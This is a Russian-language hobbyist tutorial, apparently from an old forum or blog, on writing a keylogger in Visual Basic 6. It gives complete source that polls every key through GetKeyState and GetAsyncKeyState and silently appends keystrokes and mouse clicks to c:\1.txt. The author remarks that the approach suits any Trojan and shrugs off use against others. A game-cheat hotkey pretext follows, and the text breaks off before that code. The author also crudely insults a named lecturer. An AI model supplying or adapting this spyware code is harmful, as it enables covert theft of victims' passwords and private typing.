Эта статья писалась лет 8 назад, поэтому не глумитесь )
Поехали:
Привет. Это моя первая статья и я решил написать её в Word’е, чтобы вы могли её распечатать и не портить себе глаза чтением с монитора (надеюсь потом она будет и в других форматах)… Теперь о мониторе :--))) У меня поломался мой супер-большой и навороченный монитор и я взял монитор у своего знакомого. Всё бы ничего, но у монитора максимальное разрешение 640*480 точек. Представьте сами как удобно в таком печатать, а уж тем более делать скриншоты, а они в рамках этой статьи запланированы, поэтому если будет не красиво – не обисуйте!!!
Как заметно из названия статья она будет о том, как написать сканер клавиатуры на Visual Basic’е. Сначала мы напишем сам сканер, а потом а приведу пример как его можно будет использовать в мирных целях, т.е. без затроянивания соседа, хотя, что с ним делать – это уже не моё дело!!!
Начнём!!! Многие крутые кодеры говорят, что сканер клавиатуры обязательно делать с помощью хуков. Это такие API-функции. Да, я с ними согласен – это самый крутой и навороченный вариант, который подойдёт для всех условий, но нах его использовать, если есть варианты попроще и не менее эффективны, а также подойдут для любого Трояна?
Наш сканер будет использовать всего две API-функции – это GetKeyState и GetAsyncKeyState. Я попробую написать эту статью для новичка, который знает как писать простенькие программы на VB, но ещё плохо представляет, что такое функция… С этого и начну.
Итак, если вы уже программировали на VB, то уже использовали какие-нить функции, например Sin() или Cos() или любый другие. Прикол функции в том, что вы её просто пишите, а всё остальное она делает за вас сама. Это тоже самое как в матиметике Sin(п/2)=1 или cos(п/2)=0. Ведь вы, наверняка не знаете почему эти функции от этих параметров равны именно этим значениям (я это узнал благодаря моему препаду в РГУ ШАБАРШИНОЙ (стерва, нах оно мне надо!!!)!!!), но вы их всё равно используете. Так же и в программировании. Вы получаете результат функции, но не знаете как она получает этот результат и оно вам на фиг не впилось!!!
Чтобы было круче понятно расскажу на примере функции возведения в квадрат. Вы её напишите сами. Откройте VB и добавьте на форму кнопу(Button1) и текстовое поле(Text1). У кнопки в свойство Caption напишите “ВОЗВЕСТИ В КВАДРАТ”. Должно получиться вот так (ещё раз, прошу прошения за мой монитор!!!).
Дальше система такая – вводим в текстовое поле (Text1) какое-нить число, нажимаем на кнопку и в том же текстовом поле получаем квадрат этого число. Для это мы будем использовать функцию Kvad(x as Double). То есть переменная x будет содержать то число, которое мы хотим возвести в квадрат. Вот код этой функции:
Код:
Function Kvad(x As Double) As Double
Kvad = x * x
End Function
Вот видите, мы присваиваем самой функции её значение умноженной само на себя. Т.е. квадрат числа x.
И теперь в обработчике события кнопки пишём Text1.Text = Kvad(Text1.Text). Теперь вы вводите любое число в текстовое поле, нажимаете на кнопке и получаете квадрат этого числа (надеюсь не слишком заумно). Естественно вы должны ввести только число и ничего кроме числа, иначе программа выдаст ошибку. Это один из недостатков (или, наоборот, достоинств, кому как нравиться) VB. Приведу полный пример кода программы:
Код:
Function Kvad(x As Double) As Double
Kvad = x * x
End Function
Private Sub Command1_Click()
Text1.Text = Kvad(Text1.Text)
End Sub
Объясню по фрагментам:
- Fucntion – ключевое слово, которое означает, что дальше буде идти функция, функция заканчивается ключевыми словами End Function
- Kvad(x As Double) As Double – как видите этот набор буковок идёт вместе со словом Function – так вот здесь определяется имя функции и параметры, который будут ей (функции) передаваться, то есть x As Double означает, что будем передавать функции число типа Double (надеюсь, знаете, что это за тип у числа, если не знаете – читайте учебники или спрашивайте на jeon@inbox.ru). И этот самый x мы можем использовать в самой функции (то есть между словами Function и End Function). Что мы и делаем в следующей строчке.
- Kvad = x * x – Заметьте у нашей функции имя Kvad и передаём мы ей x, вот и присваиваем Kvad’у x*x. То есть функция вернёт перемноженный x, как и синус п/2 вернёт еденицу. Буду надеяться, что это понятно.
- End Function – ну это я уже не однократно описал, эти слова означают конец функции.
Ну и теперь в обработчике нажатия кнопки мыши мы пишем Text1.Text = Kvad(Text1.Text) . Это означает, что в текстовое поле засовываем результат функции Kvad() из того же поля.
Ну надеюсь вы поняли, что такое функция, без дебильных университетских определений, типа функция – это блок операторов, выполняющих определённую задачу. Ненавижу институтское образование!!! Это для лохов!!! Нормальный чуваки учатся как у них получиться, а не у долбанного старпёра-препада, который кроме названия своего предмета ни хера не знает!!! Это меня просто отчислили из универа, вот я и злой такой. Хотя я на самом деле считаю так (привет Шабаршина-сучара!!! ). Ну теперь переходим к API функциям.
Api-функции – это такие же функции, но их использует операционная система и лежат они (функции) в .dll файлах. Например, есть API-функции создания окна, получение текста из заголовка окна, но они нас сейчас не волнуют. Нам нужны функции GetKeyState и GetAsyncKeyState. Прежде чем их использовать их надо объявить в своей программе.
Сейчас мы сделаем будущую форму для нашего кейлогера и объявим эти функции, а потом я объясню, что значат эти функции.
Создайте новый exe-проект и добавьте на форму таймер (Timer1). У таймера свойство интервал поставьте примерно в 50 (если кто не знает, то это через сколько миллисекунд будет выполняться таймер). Теперь идите в меню Добавления->МенеджерДополнений. Извините – не знаю как это выглядит в английской версии, но Добавления это второй пункт меню от конца (т.е. предпоследний). В появившемся окне выбирайте API Viewer (два раза клацните на нём) и давите OK. Теперь идите в меню Добавления->ApiViewer. Здесь будем выбирать нужный нам функции, чтобы не прописывать их ручками. Итак, в программе API Viewer выбирите File->LoadTextFile и загружайте файл WIN32API. Там есть строчка для поиска, так вот в ней и вводите GetKeyState, когда найдёте её, Declare Scope установите в Private и давите кнопку Add. Тоже самое проделайте с GetAsyncKeyState. Вот скриншот, что должно получиться:

Теперь нажмите на кнопку Copy и закрывайте Api Viewer, теперь объявления этих функций у вас в буфере обмена и вы просто можете вставить их в код свой программы. Именно это и делайте, т.е. откройте окна кода VB и в самый верх вставьте эти несколько строчек.
Теперь напишем функцию, которая и будет сканить клаву. Для этого вам нужно знать как работают эти две функции. Начнём с функции GetKeyState.
Эта функция определяет каково состояние у клавиши: поднята, нажата или переключается. В качестве входящего параметра эта функция принимает код клавиши (которую мы и будем проверять – нажата она или нет). В документации о возвращаемых значениях написано примерно так:
Возвpащаемое значение:
Клавиша нажата, если стаpший бит pавен 1, и клавиша пеpеключается, если младший бит pавен 1.
Вам что-нить ясно из этого? И мне было абсолютно не понятно, пока я не поэкспериментировал с этой функцией сам. И скажу вот что – функция возвращает либо 0, либо 1 если клавиша отпущена (т.е. не нажата). Или же -127, или -128 если кнопка нажата. Причём значения 0 и 1 берутся не наобум, а последовательно. Короче если я нажал кнопку, а затем отпустил её и у меня функция вернула 0, то в следующий раз она вернёт 1, а потом опять 0 и т.д. На этом мы и будем играть. Мы создадим массив в котором будем хранить возвращаемые значения функции, а затем в цикле будем проверять значения возвращаемые этой функцией, если какое-либо значение не совпало со значением в массиве, значит эта кнопка была нажата, а для стопудовой гарантии ещё и будем проверять это дело функцией GetAsyncKeyState. Эта функции принимает такое же значение как и GetKeyState, только возвращает 0 если кнопка отпущена (не нажата), или любое другое значение, если кнопка нажата. Все полученные от функции значения мы будем записывать в текстовый файл. Теперь приведу весь код программы.
Код:
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private KeyFGKS(255) As Integer
Function KeyScan() As String
For i = 1 To 255
If Not GetKeyState(i) = KeyFGKS(i) And GetAsyncKeyState(i) <> 0 Then 'Åñëè êíîïêà áûëà íàæàòà
KeyFGKS(i) = GetKeyState(i)
If i >= 65 And i <= 90 Then
KeyScan = Chr(i)
Exit For
End If
Select Case i
Case 1
KeyScan = "-LeftMouse-"
Case 2
KeyScan = "-RightMouse-"
Case 4
KeyScan = "-MouseScroll-"
Case 192
KeyScan = "~"
Case 49
KeyScan = "1"
Case 50
KeyScan = "2"
Case 51
KeyScan = "3"
Case 52
KeyScan = "4"
Case 53
KeyScan = "5"
Case 54
KeyScan = "6"
Case 55
KeyScan = "7"
Case 56
KeyScan = "8"
Case 57
KeyScan = "9"
Case 48
KeyScan = "0"
Case 189
KeyScan = "-"
Case 187
KeyScan = "="
Case 220
KeyScan = "\"
Case 8
KeyScan = "-BackSpace-"
Case 9
KeyScan = "-TAB-"
Case 20
KeyScan = "-CapsLock-"
Case 160
KeyScan = "-LShift-"
Case 161
KeyScan = "-RShift-"
Case 162
KeyScan = "-LCtrl-"
Case 163
KeyScan = "-RCtrl-"
Case 164
KeyScan = "-LAlt-"
Case 165
KeyScan = "-RAlt-"
Case 32
KeyScan = " "
Case 144
KeyScan = "-NumLock-"
Case 96
KeyScan = "-NP0-"
Case 97
KeyScan = "-NP1-"
Case 98
KeyScan = "-NP2-"
Case 99
KeyScan = "-NP3-"
Case 100
KeyScan = "-NP4-"
Case 101
KeyScan = "-NP5-"
Case 102
KeyScan = "-NP6-"
Case 103
KeyScan = "-NP7-"
Case 104
KeyScan = "-NP8-"
Case 105
KeyScan = "-NP9-"
Case 27
KeyScan = "-Esc-"
Case 112
KeyScan = "-F1-"
Case 113
KeyScan = "-F2-"
Case 114
KeyScan = "-F3-"
Case 115
KeyScan = "-F4-"
Case 116
KeyScan = "-F5-"
Case 117
KeyScan = "-F6-"
Case 118
KeyScan = "-F7-"
Case 119
KeyScan = "-F8-"
Case 120
KeyScan = "-F9-"
Case 121
KeyScan = "-F10-"
Case 122
KeyScan = "-F11-"
Case 123
KeyScan = "-F12-"
Case 111
KeyScan = "-NP/-"
Case 106
KeyScan = "*"
Case 109
KeyScan = "-NP--"
Case 107
KeyScan = "+"
Case 114
KeyScan = "-F3-"
Case 110
KeyScan = "-NP.-"
Case 44
KeyScan = "-PrintScreen-"
Case 145
KeyScan = "-ScrollLock-"
Case 19
KeyScan = "-PauseBreak-"
Case 33
KeyScan = "-PageUp-"
Case 34
KeyScan = "-PageDown-"
Case 36
KeyScan = "-Home-"
Case 35
KeyScan = "-End-"
Case 45
KeyScan = "-Insert-"
Case 46
KeyScan = "-Delete-"
Case 39
KeyScan = "-Right-"
Case 38
KeyScan = "-Up-"
Case 37
KeyScan = "-Left-"
Case 40
KeyScan = "-Down-"
Case 13
KeyScan = vbCrLf
Case 191
KeyScan = "/"
Case 188
KeyScan = ","
Case 190
KeyScan = "."
Case 219
KeyScan = "["
Case 221
KeyScan = "]"
Case 186
KeyScan = ";"
Case 222
KeyScan = "'"
End Select
Exit For
End If
Next i
End Function
Private Sub Timer1_Timer()
Dim s As String
s = KeyScan
If Not s = "" Then
Open "c:\1.txt" For Append As #1
Print #1, s
Close #1
End If
End Sub
Чё длинная? Ха-ха… Не парьтесь! Там всё место занимает конструкция Select Case, чтобы функция вернула красивое значение, а не код нажатой клавиши. В первых нескольких строчках функции KeyScan() идёт просто проверка на нажатые кнопки, дальше же идёт определение какая именно была нажата кнопка по её коду. Единственно может вызвать удивление вот этот код:
Код:
If i >= 65 And i <= 90 Then
KeyScan = Chr(i)
Exit For
End If
Здесь дело в том, что кейкод буквенных клавиш совпадаёт с их ASCII значениями. Всё это можно было бы занести в конструкцию Select Case и сделать код ещё длиннее, но мне впадлу было это делать. В обработчике таймера мы просто записываем значения возвращаемые функцией в текстовый файл, если функция возвращает всё, что угодно кроме пустой строки.
Вот собственно и весь сканер, но я обещал написать про то, как это можно использовать в GTA. Хорошо приступим к этому. Вы наверняка постоянно пользуйтесь паролями при игре в GTA – Vice City. Вы постоянно вводите Aspirine, gettherefast и т.д. Но иногда при большой перестрелке заморачивает вводить тот-же aspirine по десять раз. Вот мы напишем программу, которая будет вводить эти пароли за нас. Нам только нужно будет нажать горячую клавишу для пароля и он введется сам. Вот такую программу мы сейчас и напишем.
Добавьте текстовое поле в тот же проект, в котором делали сканер клавы, и его свойству Name дайте значение Hots (от слова HotKeys). Теперь нам нужно создать массив таких элементов с именем Hots. Для этого клацните правой пимпой мыши на текстовом поле и выбирите Copy. Ну и вставьте на форму этот же элемент. Вам предложат создать массив таких элементов. Соглашайтесь – т.е. жмите «да». Подставляйте ещё таких же элементов штук пять – или сколько вам надо вводить паролей для классного гейминга. Теперь добавьте новое текстовое поле на форму и дайте ей имя Pass (от password) – сюда будите вписывать пароли. И расположите её напротив первого элемента Hots. И такой же темой как вы создавали массив Hots создайте массив Pass. Причём расположите 0-й элемент Hots напротив 0-вого элемента Pass и тоже самое с первыми, вторыми и.т.д элементами. У меня получилось вот так:
То есть в левый столбик вы будите записывать горячие клавиши, а в правый пароли, который будут соответствовать этим клавишам. В обработчик события KeyUp массива Hots запишите следующий код: